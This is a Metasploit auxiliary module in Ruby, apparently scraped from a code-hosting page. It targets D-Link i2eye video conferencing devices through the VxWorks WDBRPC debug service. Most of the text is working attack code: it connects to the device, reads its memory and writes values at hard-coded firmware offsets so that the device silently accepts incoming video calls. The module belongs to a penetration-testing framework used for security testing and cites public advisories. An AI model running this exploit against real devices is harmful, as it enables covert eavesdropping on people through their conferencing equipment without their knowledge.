Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::WDBRPC_Client78def initialize(info = {})9super(update_info(info,10'Name' => 'D-Link i2eye Video Conference AutoAnswer (WDBRPC)',11'Description' => %q{12This module can be used to enable auto-answer mode for the D-Link13i2eye video conferencing system. Once this setting has been flipped,14the device will accept incoming video calls without acknowledgement.15The NetMeeting software included in Windows XP can be used to connect16to this device. The i2eye product is no longer supported by the vendor17and all models have reached their end of life (EOL).18},19'Author' => [ 'hdm'],20'License' => MSF_LICENSE,21'References' =>22[23['OSVDB', '66842'],24['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],25['US-CERT-VU', '362332']26]27))28end2930def run31target = nil32targets = {33# Original firmware for the North America DVC100034"Sorenson VP100 - ARM9TDMI" => [[0x00229a05, 0x00000000, 0x00000001]],3536# Final firmware for the North America DVC100037# Also covers a mislabeled "Sorenson VP100" (revision A3)38"i-2-eye DVC1000 - ARM9TDMI" => [39[0x0040cd68, 0x00000000, 0x01000000],40[0x0040af38, 0x00000000, 0x01000000],41[0x0040cd00, 0x00000000, 0x01000000]42],43}444546wdbrpc_client_connect4748if not @wdbrpc_info[:rt_vers]49print_error("No response to connection request")50return51end5253membase = @wdbrpc_info[:rt_membase]5455target = targets[@wdbrpc_info[:rt_bsp_name]]56if not target57print_error("No target available for BSP #{@wdbrpc_info[:rt_bsp_name]}")58wdbrpc_client_disconnect59return60end6162target.each do |r|63offset, oldval, newval = r6465curr = wdbrpc_client_memread(membase + offset, 4).unpack("N")[0]66if curr != oldval and curr != newval67print_error("The value at offset #{"0x%.8x" % offset} does not match this target (#{"0x%.8x" % curr}), skipping...")68next69end7071if curr == newval72print_good("The value at offset #{"0x%.8x" % offset} has already been set")73else74wdbrpc_client_memwrite(membase + offset, [newval].pack("N"))75curr = wdbrpc_client_memread(membase + offset, 4).unpack("N")[0]76print_good("The value at offset #{"0x%.8x" % offset} has been set to #{"0x%.8x" % curr}")77end7879print_status("The target device should now automatically accept incoming calls")80end8182wdbrpc_client_disconnect83end84end858687